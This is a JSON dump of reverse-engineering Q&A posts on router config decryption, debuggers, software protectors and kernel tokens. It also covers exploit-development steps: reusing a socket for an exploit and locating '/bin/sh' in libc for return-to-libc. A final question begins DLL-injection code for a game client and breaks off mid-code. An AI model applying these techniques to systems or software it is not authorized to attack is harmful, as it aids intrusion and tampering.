        "Answer": "<p>Not really RE, but this likely means \"the highest number of objects/handles ever seen\" (in this session).\nFrom <a href=\"https://en.wikipedia.org/wiki/High_water_mark\" rel=\"nofollow noreferrer\">Wikipedia</a>:</p>\n\n<blockquote>\n  <p>A high water mark is a point that represents the maximum rise of a\n  body of water over land. Such a mark is often the result of a flood,\n  but high water marks may reflect an <strong>all-time high</strong>, an annual high\n  (highest level to which water rose that year) or the high point for\n  some other division of time.</p>\n</blockquote>\n"
    },
    {
        "Id": "16743",
        "CreationDate": "2017-11-09T12:10:55.460",
        "Body": "<p>I have been trying to wrap my head round this stuff so bear with me.</p>\n\n<p>I have a Tp-Link TX-VG1530. From the gui you can download the config file however the file is encrypted, I include a portion of the conf.bin file below</p>\n\n<pre><code>q=4\u2021|&amp;YF\u00cb#T\u00f9\u00f0\u00b6\u00bf\u00c4/1\u00del^\u00e0h[\u00da\u2039\u00b3l\u00d9\u20ac\u00cd\u00c1.\u00a9-&amp;\u00dad\u0160DT\u2022\u00b0\u00f4y\u00aej\u00f23R7B\u00ae5#B5m\u00a8)\u00bd=Q\u203a\u00ce\\\u00f2\u00ef-\u00cf\u00c7\u00eb\u00c4+\u00ae\u2021h\u2022Y\u2021\u00cd@\u00dd\u00a0\u00fa\u00f2%\u00d7\u00fd\u00db\u00e2\u00e7\u00f3\u203a\u00d00&amp;r\u0178\u00d8\u00eb\u00f7vj[\u00f1\u00dbx\u00b9\u00dam\u2021z\u2020\u00e4\u00ed}\u00d6s\u2022q\u00eaQRs\u00c6\u00f0\u00e8\u00cd\u017d\u2019|\u00db\u02dc\u2019\u00b2\u00b3\u20ac\u00ac#\u00ec\u01784\u0153\u00e4\u00b3\u00bdn\u00db\u00ffl\u201e\u00af~\u201a,\u2022R\u00c1g\u00cf;\u00f6\u00cf\u00cb\u00c0w\u2021\u00a7\u201e,W\u2030\u00d7J\u00ee\u00a0&lt;\u00a7x}\u00f4\u017eZ\u00f1\u02c6gFPdB\u00a7\u00ea\u00c1\u00d7g\u02c6\u00d1=\u2030\u00bbu\u00cb\u017e\u00cfH\u017e\u00e2KE\u00a2\u00be.\u00e2\u02dc/\u00d73\u00a0\u00c5\u00e6\u00e7\u00b1W\u00d4\u2122\u0152i\u00f5\u00c1\u00d5\u0192S\\%*\n\u00d5^\u00e7\u00fd\u00ad&lt;w\u00b1\u00f8\u201d\u00f0\u2019\u00b4&lt;\u00d8m\u00ceF1\u02c6\u00c0q\u00fb\u00a7\u2018\u00a5\u00f0\u00dbA\u00c8\u00ce-\u00ff1z\u201d\u00ad9]\u00e37\u201d\u2026b\u00abY\u00e5[\u00f6\u201e*i'{\u00fc'N\u0152\u00c0\u00e7\u20184\u00d1\u00e1\u00d0m\u00b9\u00fc\u00b4B\u00b7U^w\u00aa\u00bdI\u00d9\u201a8\u00fb]\u00b3#)L\u00fb-Di\u017e\n</code></pre>\n\n<p>Using firmware modification kit I am able to  extract the file system and looking at the upload page for the conf file (/web/main/backNRestore.htm) I can see the following</p>\n\n<pre><code>formObj.target = \"up_frame\";\nformObj.action = \"/cgi/confup\";\nformObj.submit();\n</code></pre>\n\n<p>Doing a quick grep I can see that /cgi/confup appears in /usr/bin/httpd. looking at this with IDA pro</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZGp5v.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZGp5v.png\" alt=\"enter image description here\"></a></p>\n\n<p>From the following post I believe I should be able to retrieve the encryption method but I cannot seem to see anything relating to keys etc</p>\n\n<p><a href=\"http://teknoraver.net/software/hacks/tplink/\" rel=\"nofollow noreferrer\">http://teknoraver.net Decrypting TP-Link conf file</a></p>\n\n<p>I include a link to the file here</p>\n\n<p><a href=\"https://ufile.io/2pu39\" rel=\"nofollow noreferrer\">httpd file link</a></p>\n\n<p>Using the strings command on the file I see nothing that relates to <code>aes</code>, <code>des</code>, <code>md5</code>, <code>key</code>, <code>dec</code>, <code>enc</code> etc.</p>\n\n<p>There are some tools such as <a href=\"https://gist.github.com/NikitaKarnauhov/5d9129f13e7b0e257cfbe93215751c7a\" rel=\"nofollow noreferrer\">tlrecode.sh</a> which appear to decode the file slightly (this script seems to utilise the same key found in the teknoraver post), the decrypted file is not 100% though</p>\n\n<pre><code>\u00d7&lt;?xml version=\"1.0\"?&gt;\n&lt;DslCpeConfig&gt;\n  &lt;InternetGatewayDevice\n  &lt;Summa\u00afry val=\".:1.1[](Baseli`ne:1, EthVLA`N:1)\"\n</code></pre>\n\n<p>Can anyone suggest the next steps to take</p>\n",
        "Title": "TP-Link encrypted backup file TX-VG1530",
        "Tags": "|linux|encryption|embedded|",
        "Answer": "<p>Adapted code Shelwien for linux/gcc</p>\n\n<pre><code>#define uint int\n#define byte char\n#define put(c) putchar(c)\n#define get() getchar()\n#include &lt;stdio.h&gt;\n\n\nstruct lztp_t {\n  byte  hash[16];\n  uint  size;\n};\n\nuint bitbuf, bitnum;\n\nuint getbit( void ) {\n  uint r;\n  if( bitnum==0 ) {\n    bitbuf = get();\n    bitbuf|= 256*get();\n    bitnum =16;\n  }\n  r = (bitbuf&gt;&gt;15)&amp;1; bitbuf&lt;&lt;=1; bitnum--;\n  return r;\n}\n\nuint getvar( void ) {\n  uint r = 1; do r = 2*r + getbit(); while( getbit() );\n  return r;\n}\n\nint main( void ) {\n  uint c,i, winptr, id, l,d;\n\n  enum{ winlog=16, winsize=1&lt;&lt;winlog, winmask=winsize-1 };\n  byte win[winsize];\n\n  struct lztp_t hdr;\n  for( i=0; i&lt;sizeof(hdr); i++ ) if( (c=get())==-1 ) break; else ((byte*)&amp;hdr)[i]=c;\n  if( c==-1 ) return -1;\n\n  winptr=0; bitbuf=0; bitnum=1;\n  while( winptr&lt;hdr.size ) {\n    id = getbit();\n    if( id==0 ) {\n      // literal\n      c = get();\n      put( win[(winptr++)&amp;winmask]=c );\n    } else {\n      // match\n      l = getvar()-2+4;\n      d = (getvar()-2)*256;\n      d+= get() + 1;\n      while( l-- ) {\n        c = win[(winptr-d)&amp;winmask];\n        put( win[(winptr++)&amp;winmask]=c );\n      }\n    } // if id\n  } // while\n\n  return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "16744",
        "CreationDate": "2017-11-09T13:03:35.270",
        "Body": "<p>I am trying to use Frida on a Java application which is obfuscated with ZKM (Zelix KlassMaster).</p>\n\n<p>When I attach to the process, it seems the JVM is not loaded:</p>\n\n<pre><code>[Local::PID::23585]-&gt; Java.available\n\nfalse\n</code></pre>\n\n<p>I have the same behavior on Burp which is run by the following command :</p>\n\n<ul>\n<li>java -Djsse.enableSNIExtension=false -jar -Xmx2g burpsuite_free.jar</li>\n</ul>\n\n<p>Does anyone know why Frida does not detect the JVM?</p>\n",
        "Title": "How to use Frida on a Java application ? (non Android application)",
        "Tags": "|java|instrumentation|",
        "Answer": "<p>To my best knowledge, Frida has no support for non-android java applications. </p>\n\n<p>For desktop java applications you are better of using <a href=\"https://zeroturnaround.com/rebellabs/how-to-inspect-classes-in-your-jvm/\" rel=\"nofollow noreferrer\">Java agents</a> or the lower level JVM-TI interface. There's also the <a href=\"https://github.com/CrowdStrike/pyspresso\" rel=\"nofollow noreferrer\">pyspresso</a> framework which uses the <a href=\"https://docs.oracle.com/javase/8/docs/technotes/guides/jpda/jdwp-spec.html\" rel=\"nofollow noreferrer\">Java Debug Wire Protocol</a> to debug java applications using a python code base.</p>\n\n<p>Also have a look at <a href=\"https://reverseengineering.stackexchange.com/questions/1714/dynamic-java-instrumentation?rq=1\">this</a> answer for more ideas.</p>\n"
    },
    {
        "Id": "16748",
        "CreationDate": "2017-11-10T10:12:17.677",
        "Body": "<p>I am trying to exploit a program where I have to reuse a socket.</p>\n\n<p><code>recv</code> looks like this:</p>\n\n<pre><code>int recv(\n_In_  SOCKET s, // socket ID\n_Out_ char   *buf,\n_In_  int    len,\n_In_  int    flags\n);\n</code></pre>\n\n<p>I want to find where the socket ID is on the stack. How do I find this using Immunity Debugger?</p>\n",
        "Title": "how to find memory objects using immunity debugger",
        "Tags": "|debugging|immunity-debugger|shellcode|",
        "Answer": "<p>Put a INT3 (F2) breakpoint on the <code>recv</code> function (To jump to that function, hit CTRL+G then type <code>recv</code> to the textbox which just appeared, and then hit enter) within Immunity Debugger, and observe the stack (lower right corner) for the socket ID when the breakpoint is hit.</p>\n"
    },
    {
        "Id": "16753",
        "CreationDate": "2017-11-12T13:31:36.607",
        "Body": "<p>I'll be releasing a piece of software soon and I'm looking for good protectors. The three that came to my attention were: Enigma, Themida and VMProtect. I searched a lot online but I couldn't find many comparisons. They are all in a similar price range so that is not a huge problem. I was wondering what the main differences are between them? Virtualization, string encryption, packing etc. I couldn't find much info about that.</p>\n\n<p>All replies are appreciated! Thanks</p>\n",
        "Title": "How do Enigma, Themida and VMProtect compare to each other?",
        "Tags": "|decompilation|encryption|protection|",
        "Answer": "<p><strong>Disclaimer</strong>: I do not work for any of the companies that make either of these pieces of software. All details shown are from my own personal research.</p>\n\n<p>This comparison will only include the protectors I personally have a licence for: VMProtect and Themida. I do not have a licence to Enigma, so I cannot tell about its protection features.</p>\n\n<p>I will also not be including the licencing features of either, I will only be talking about the protection methods they employ.</p>\n\n<p>To get us started, here is the \"unprotected\" version of a simple loop function that we will be protecting with both protectors to see what they output.</p>\n\n<p><a href=\"https://i.stack.imgur.com/icsmw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/icsmw.png\" alt=\"\"></a></p>\n\n<p><strong>VMProtect</strong></p>\n\n<p>VMProtect has 3 protection modes: <em>Mutation</em>, <em>Virtualization</em>, and \"<em>Ultra</em>\" (both methods combined)</p>\n\n<p><em>Mutation</em> does what it says it does: it <strong>mutates</strong> the assembly code to make automated analysis of it harder. The resulting mutated code varies drastically per compilation.</p>\n\n<p><a href=\"https://i.stack.imgur.com/jCdNZ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/jCdNZ.png\" alt=\"\"></a></p>\n\n<p>On the other hand, <em>Virtualization</em> translates the code into a special format that only a special virtual machine can run. It then inserts a \"stub\" function to call the VM where the actual code was supposed to be ran.</p>\n\n<p><a href=\"https://i.stack.imgur.com/B3hka.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/B3hka.png\" alt=\"\"></a></p>\n\n<p>Note that this VM inserts a lot of overhead. The original ~100kb application was increased to around ~600kb after protection using this method. You can decrease the size though by turning on the packing feature inside of VMProtect.</p>\n\n<p>There is also functionality for checking if debuggers are being ran, string encryption, methods of grabbing a unique identifier for the computers hardware, etc.</p>\n\n<p><strong>Themida</strong></p>\n\n<p>Themida is a little different from VMP. While it also has the same protection features of VMP, it does it much differently and has a few more features that VMP does not have. Note though that these features that VMP does not have do not work on all application types.</p>\n\n<p>For Themida's <em>Mutation</em>, it does it quite differently to VMP. It adds lots of random operations to the assembly instead of specifically mutating each opcode.</p>\n\n<p><a href=\"https://i.stack.imgur.com/1gMkw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/1gMkw.png\" alt=\"\"></a></p>\n\n<p>Themida's <em>Virtualization</em> however has one cool feature that VMP does not: Multiple VM architectures. Themida has the ability to have different virtual machines (using a different architecture) inside of the same application. There is also different 'styles' of VM: some faster but less secure, some more secure but less fast, etc.</p>\n\n<p><a href=\"https://i.stack.imgur.com/DI7k0.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/DI7k0.png\" alt=\"\"></a></p>\n\n<p>Of course, the problem with this is pretty obvious: the size. A protected application with all protection options disabled is around ~2mb from the original ~100kb. Luckily, Themida also has a packing feature to reduce the size, where it reduced it to around ~1mb. </p>\n\n<p>Themida also has a few other features: <em>\"ClearCode\"</em>, where it clears the assembly after it ran, <em>\"Encode\"</em>, decrypting the code at runtime and re-encrypting it after it was executed, string encryption, and functions to check code integrity.</p>\n\n<p><strong>Conclusion</strong></p>\n\n<p>Both protections are quite good when used properly. Which one you buy is up to you, not me, so I would recommend you to choose wisely for the application you wish to protect and to see which features you specifically want.</p>\n"
    },
    {
        "Id": "16755",
        "CreationDate": "2017-11-12T22:12:46.743",
        "Body": "<p>What is radare2's equivalent to GDB's <code>find &amp;system,+9999999,\"/bin/sh\"</code>? </p>\n",
        "Title": "what is radare2's equivalent to GDB's 'find &system,+9999999,\"/bin/sh\"'",
        "Tags": "|radare2|gdb|",
        "Answer": "<p>First and foremost we should open the binary in debug mode with radare2</p>\n\n<pre><code>$ r2 -d file\n</code></pre>\n\n<p>The string <code>/bin/sh</code> resides in the <code>system</code> function of <code>libc</code> so the library should first be loaded to the memory in order for us to find the string there. Let's continue the execution of the program until its Entrypoint. In this point <code>libc</code> should already be loaded to the memory.</p>\n\n<pre><code>[0xf7f9bc60]&gt; dcu entry0\nContinue until 0x565914a0 using 1 bpsize\nhit breakpoint at: 565914a0\n[0x565914a0]&gt; \n</code></pre>\n\n<p><code>dcu</code> stands for <strong>d</strong>ebug <strong>c</strong>ontinue <strong>u</strong>ntil</p>\n\n<p>To find <code>/bin/sh</code> we should use radare\u2019s search features. By default radare is searching in <code>dbg.map</code> which is the current memory map. In our case it's not guaranteed that <code>/bin/sh</code> will be in our current memory map. Therefore, we want it to search in all memory maps so we need to configure it:</p>\n\n<pre><code>[0x080483d0]&gt; e search.in = dbg.maps\n</code></pre>\n\n<p>You can view more options if you\u2019ll execute <code>e search.in=?</code>. To configure radare the visual way, use <code>Ve</code>.</p>\n\n<p>Searching in radare is done with the <code>/</code> command, you can see the enormous amount of search options by executing <code>/?</code>.</p>\n\n<p>Let's search for <code>/bin/sh</code>:</p>\n\n<pre><code>[0x565914a0]&gt; / /bin/sh\nSearching 7 bytes from 0x00000000 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 \nSearching 7 bytes in [0x56591000-0x56592000]\nhits: 1\n\n&lt;..truncated..&gt;\n\nSearching 7 bytes in [0xf7d97000-0xf7f66000]\nhits: 1\n\n0xf7f1180a hit1_2 .b/strtod_l.c-c/bin/shexit 0canonica.\n</code></pre>\n\n<p>Et Voil\u00e0! radare found the string in <code>0xf7f1180a</code>.</p>\n\n<p>To speed things up we can tell radare to start searching from <code>system</code> which is inside <code>libc</code>.\nFirst we need the address of <code>system</code> in libc, we can do this with <code>dmi</code> and then configure <code>search.from</code> to start from <code>system</code>. </p>\n\n<pre><code>[0x565914a0]&gt; dmi libc system\nvaddr=0xf7dd3700 paddr=0x0003c700 ord=566 fwd=NONE sz=1126 bind=LOCAL type=FUNC name=do_system\nvaddr=0xf7ebf470 paddr=0x00128470 ord=4988 fwd=NONE sz=102 bind=LOCAL type=FUNC name=svcerr_systemerr\nvaddr=0xf7dd3c50 paddr=0x0003cc50 ord=6919 fwd=NONE sz=55 bind=WEAK type=FUNC name=system\n\n[0x565914a0]&gt; e search.from=0xf7dd3c50\n[0x565914a0]&gt; / /bin/sh\nSearching 7 bytes from 0xf7dd3c50 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 \nSearching 7 bytes in [0xf7dd3c50-0xf7f66000]\nhits: 1\n\n&lt;..truncated..&gt;\n\n0xf7f1180a hit2_0 .b/strtod_l.c-c/bin/shexit 0canonica.\n</code></pre>\n\n<p>There you go! Now you can print the string using <code>ps @ 0xf7f1180a</code> or use the address however you want.</p>\n"
    },
    {
        "Id": "16762",
        "CreationDate": "2017-11-13T19:32:34.523",
        "Body": "<p>I have a ROM dump from an unknown controller, which must be reversed (as a task). It looks like encrypted, packed or obfuscated. Binwalk did not give any information(\"cisco os experimental microcode for firmware\"), manual searching for know signatures (packers, CPU, filesystems)  has not produced any result. \nIn hex you can see pieces of repeating open text (0x6AD869h - 0x6AE6D3, 0x949C35 - EOF), first few string of file are this strings with some bit shift(probably), but i could't find a some system for this. \nOpen text:</p>\n\n<pre><code>00949c40  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|\n00949c50  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|\n00949c60  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |\n00949c70  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|\n00949c80  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|\n00949c90  74 69 6f 6e 2e 00 53 65  65 6b 20 41 47 52 45 45  |tion..Seek AGREE|\n</code></pre>\n\n<p>First few strings:</p>\n\n<pre><code>00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|\n00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|\n00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|\n00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|\n00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|\n00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&amp;Bn9...R.|\n00000060  18 17 a4 15 20 77 b9 6a  a0 74 48 65 a0 64 03 44  |.... w.j.tHe.d.D|\n00000070  31 82 c1 66 25 66 6d 6e  3d 03 1d 15 44 26 39 0e  |1..f%fmn=...D&amp;9.|\n00000080  61 24 0e 45 18 45 33 2e  37 36 45 4d 45 4e 54 20  |a$.E.E3.76EMENT |\n00000090  66 6f 72 20 74 68 65 20  39 61 74 65 21 6f a4 13  |for the 9ate!o..|\n000000a0  63 6f 6d 70 6c 65 74 06  92 91 d1 a3 e4 1a ac b5  |complet.........|\n</code></pre>\n\n<p>See:</p>\n\n<ul>\n<li><a href=\"https://drive.google.com/file/d/1MuGBQQgHv73W7697N6tnU7EJ1QSBaNh4/view?usp=sharing\" rel=\"nofollow noreferrer\">Firmware.rom</a></li>\n<li><a href=\"https://drive.google.com/file/d/1Pey2XEQX9wGvh2knY2QjdHPsXBqC2vfb/view\" rel=\"nofollow noreferrer\">hex dump</a></li>\n</ul>\n\n<p>Can anyone advise how to encrypt/unpack this, or what am I doing wrong? </p>\n",
        "Title": "Unpacking ROM dump",
        "Tags": "|binary-analysis|firmware|deobfuscation|rom|",
        "Answer": "<p><code>Seek AGREEMENT for the date of completion.\\0</code> or <code>Seek AGREEMENT for the date of completion.\u00a0</code> is a key applied by either addition or XORing input with output. You can see how it lines up with the hexdump. It should be relatively easy to write a program which would remove this level of obfuscation.</p>\n\n<pre><code>00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|\n00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|\n00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|\n00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|\n00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|\n00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&amp;Bn9...R.|\n\n00000000  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|\n00000010  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|\n00000020  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |\n00000030  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|\n00000040  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|\n00000050  74 69 6f 6e 2e 00                                 |tion..          |\n</code></pre>\n"
    },
    {
        "Id": "16769",
        "CreationDate": "2017-11-15T18:58:35.143",
        "Body": "<p>Using IDA, can I specify 2 Sub-Routines (really, it's 2 WINAPI calls) and have IDA create a \"map\" between the 2 points? I want to know all the possible branches the EIP can take from one instruction to another instruction.</p>\n\n<p>I am using IDA-Pro 6.0 (or 6.1).</p>\n\n<p>Thank you.</p>\n\n<p>Edit - I can only use static analysis tools for this.</p>\n",
        "Title": "IDA - Create Process Flow Map Between 2 Sub-Routines",
        "Tags": "|ida|",
        "Answer": "<p>You can use the <a href=\"https://github.com/devttys0/ida/tree/master/plugins/alleycat\" rel=\"nofollow noreferrer\">alleycat</a> plugin to find the path between two functions/basic blocks etc.</p>\n\n<h2>Example</h2>\n\n<p>Finding the path between two functions <code>http_init_main</code> and <code>http_parser_set_challenge</code> in a mipsel elf.</p>\n\n<ol>\n<li><p>Go to View -> Find paths from current function to...</p>\n\n<p><img src=\"https://i.stack.imgur.com/mlR53.png\" alt=\"enter image description here\"></p></li>\n<li><p>Select the target function.</p>\n\n<p><img src=\"https://i.stack.imgur.com/K0I70.png\" alt=\"enter image description here\"></p></li>\n<li><p>Alleycat would display the path to reach the selected function from initial function. Additionally, the corresponding basic blocks would be highlighted in the graph view.</p>\n\n<p><img src=\"https://i.stack.imgur.com/VJplS.png\" alt=\"enter image description here\"></p></li>\n</ol>\n"
    },
    {
        "Id": "16790",
        "CreationDate": "2017-11-19T16:53:37.310",
        "Body": "<p>When I disassemble a <code>jmp</code> I get:</p>\n\n<pre><code>[0x004073d4]&gt; pd 1\n            0x004073d4      ff2584804000   jmp dword [sym.imp.kernel32.dll_GetModuleHandleA] ; 0x408084 ; \"j\\x85\"\n</code></pre>\n\n<p>Is there a command I can get the information contained in  <code>sym.imp.kernel32.dll_GetModuleHandleA</code> by providing the address <code>0x408084</code>? \nPreferably in Json as I'm using this for a script.</p>\n\n<p>I searched a bit but could not find anything.</p>\n",
        "Title": "radare2 get API library and name from address",
        "Tags": "|radare2|",
        "Answer": "<p><code>sym.imp.kernel32.dll_GetModuleHandleA</code> is a <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html\" rel=\"noreferrer\">flag</a> radare2 defined for this address.  </p>\n\n<p>This flag name is combined from 4 parts:</p>\n\n<ul>\n<li><code>sym</code> for Symbols </li>\n<li><code>imp</code> for Imports</li>\n<li><code>kernel32.dll</code> is the name of the library</li>\n<li><code>GetModuleHandleA</code> is the name of the imported function in the library</li>\n</ul>\n\n<p>To handle flags with radare2 you should use the <code>f</code> command and its subcommands. Use <code>f?</code> to list all of them. </p>\n\n<p>For your case, the right way to get the flag name for a given address is to use the <code>fd</code> command like this:  </p>\n\n<pre><code>[0x004073d4]&gt; fd 0x408084 \nsym.imp.kernel32.dll_GetModuleHandleA\n</code></pre>\n\n<p>You can split it to the function and the DLL name by using simple string manipulation with the programming language you are using to script radare.</p>\n\n<hr>\n\n<p>On a personal note I will say that the best way to script with radare2 is to use <a href=\"https://github.com/radare/radare2-r2pipe\" rel=\"noreferrer\">r2pipe</a> which is a very simple interface to radare2. You may already started using it but just in case, here's how simple it looks like with Python:</p>\n\n<pre><code>import r2pipe\n\nr2 = r2pipe.open(\"/bin/ls\")\nr2.cmd(\"aa\")\nprint(r2.cmd(\"afl\"))\nprint(r2.cmdj(\"aflj\"))  # evaluates JSONs and returns an object\nr2.quit()\n</code></pre>\n\n<p>I suggest you to read the <a href=\"https://radare.gitbooks.io/radare2book/content/\" rel=\"noreferrer\">Radare2 Book</a> to learn more about radare2 and how to use it.</p>\n"
    },
    {
        "Id": "16796",
        "CreationDate": "2017-11-20T10:33:22.910",
        "Body": "<p>I'm using <code>IDA Pro</code> and <code>WinDbg</code> as a debugger to step through a WinAPI from a user-mode code. I can do all this, except that when the assembly code encounters the <code>syscall</code> instruction (that enters <code>ring-0</code> code) I cannot step into it:</p>\n\n<p><a href=\"https://i.stack.imgur.com/gEms3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gEms3.png\" alt=\"enter image description here\"></a></p>\n\n<p>Can someone show if it's possible to step into a kernel code?</p>\n\n<p>PS. I'm running IDA Pro in a VM from my host Windows system.</p>\n",
        "Title": "How to step into kernel code from a user-mode code using IDA Pro and WinDbg as a debugger?",
        "Tags": "|ida|windows|windbg|kernel-mode|",
        "Answer": "<p>In order to step into syscall you must debug your machine from kernel mode debugger. <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf</a> see Debugging the kernel with VMWare section. \nBut be aware, that in kernel mode debugger you won't be able to debug your single process as it was in user mode. Kernel mode debugging is about debugging all the processes in the system. So you'll have to attach to the target process before you can do anything, and you'll need to learn how to set breakpoints, which will trigger only in your target process.</p>\n"
    },
    {
        "Id": "16804",
        "CreationDate": "2017-11-21T00:38:55.010",
        "Body": "<p>Can a multi-byte primitive data type (ie int, double, float, etc) span multiple virtual pages on Windows?</p>\n\n<p>ex) The first 4-bytes of a double on a virtual page, and the next 4-bytes of a double on the next virtual page. Is this possible*?</p>\n\n<p>What about structs? Arrays?</p>\n\n<hr>\n\n<p>*I presume it is technically possible to just cast the address of the last 4-bytes of arbitrary memory in a virtual page to a double pointer, as long as there is another virtual page that follows -- but I'm more curious if this can happen naturally in a compiled/interpreted program.</p>\n",
        "Title": "Can a Data Type Span Multiple Virtual Pages? (Windows)",
        "Tags": "|windows|compilers|virtual-memory|",
        "Answer": "<p>I don't see why not.</p>\n\n<p>For instance, if I'm mapping a binary file into memory, I may configure its structure as such:</p>\n\n<pre><code>//Visual Studio code\n\n#pragma pack(push,1)\nstruct STRUCT1{\n    char dummy[0x1000 - 4];\n    double fDouble;\n};\n#pragma pack(pop)\n\nstruct STRUCT2{\n    STRUCT1 __declspec(align(0x1000)) s1;\n};\n\n\nint main()\n{\n    STRUCT2 s2 = {0};\n    s2.s1.fDouble = -123.124;\n\n    //This construct is just to give you the direct pointer\n    double* pD = (double*)((BYTE*)&amp;s2 + offsetof(STRUCT2, s1.fDouble));\n    double fDVal = *pD;\n\n}\n</code></pre>\n\n<p>Then if we break with a debugger on the last line and check the value of <code>pD</code> (that is in the <code>RAX</code> register in this screenshot):</p>\n\n<p><a href=\"https://i.stack.imgur.com/qEXr1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qEXr1.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/xGX6J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xGX6J.png\" alt=\"enter image description here\"></a></p>\n\n<p>You will see that the <code>double</code> variable is straddling the page boundary (marked in red):</p>\n\n<p><a href=\"https://i.stack.imgur.com/OF5zO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OF5zO.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is far from ideal from the efficiency standpoint (due to those SSE2 instructions not \"liking\" being unaligned) but it is quite possible.</p>\n"
    },
    {
        "Id": "16807",
        "CreationDate": "2017-11-21T13:52:52.807",
        "Body": "<p>I would like to know how <code>WinDbg</code> extracts all the user, group, privilege information about a process from a <code>token</code> when given the <code>!token 0xaddress</code> command so I can implement it in my driver code.</p>\n\n<p>Example output of <code>!token 0xaddress</code> command\n<a href=\"https://i.stack.imgur.com/XvpVY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XvpVY.png\" alt=\"user_infor_output\"></a></p>\n\n<p>According to <a href=\"https://www.nirsoft.net/kernel_struct/vista/EPROCESS.html\" rel=\"nofollow noreferrer\">this</a> site token has the <code>EX_FAST_REF</code> structure which has a definition like this:</p>\n\n<pre><code>typedef struct EX_FAST_REF {\n       union {\n              PVOID Object;\n              ULONG RefCnt : 3;\n              ULONG Value;\n         };\n }EX_FAST_REF, *PEX_FAST_REF\n</code></pre>\n\n<p><code>Object</code> field points to the address of the token, the <code>Value</code> field holds the fist 4 bytes from the token address. I could not find the info I need from these fields but when I investigate the token address a little bit I am beginning to see strings like <code>uid</code>. What is the type of structure windbg uses to get all of this information? (Both debugger and debuggee have 32 bit architecture).</p>\n\n<p><a href=\"https://i.stack.imgur.com/i2p5s.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i2p5s.png\" alt=\"uid_from_address\"></a></p>\n",
        "Title": "TOKEN structure in Kernel",
        "Tags": "|debugging|c|windbg|kernel-mode|process|",
        "Answer": "<p>This Token you've used, the link, is not the Token structure you're searching for.\nThis is the structure\n<a href=\"https://www.nirsoft.net/kernel_struct/vista/TOKEN.html\" rel=\"nofollow noreferrer\">https://www.nirsoft.net/kernel_struct/vista/TOKEN.html</a></p>\n"
    },
    {
        "Id": "16813",
        "CreationDate": "2017-11-22T11:31:36.683",
        "Body": "<p>I am trying to modify closed source game client that works with my game server. The purpose of that is being able to add new graphical elements into the client.</p>\n\n<p>I have read a lot of tutorials about dll injection and in the end theres the code I made:</p>\n\n<pre><code>// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n#include &lt;windows.h&gt;\n\n#define BASE_ADDR 0x00400000\n\nDWORD WINAPI MyThread(LPVOID);\nDWORD g_threadID;\nHMODULE g_hModule;\nvoid __stdcall CallFunction(int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;);\nvoid __stdcall typeText(int&amp;, const char*);\n\n\n//must be at least one function to prevent crash\n__declspec(dllexport) int APIENTRY Func(LPVOID lpParam)\n{//empty function\n    return 0;\n}\n\n\n//main func\nBOOL APIENTRY DllMain( HMODULE hModule,\n                       DWORD  ul_reason_for_call,\n                       LPVOID lpReserved\n                     )\n{\n\n    DWORD myThreadID;\n    HANDLE myHandle;\n\n\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        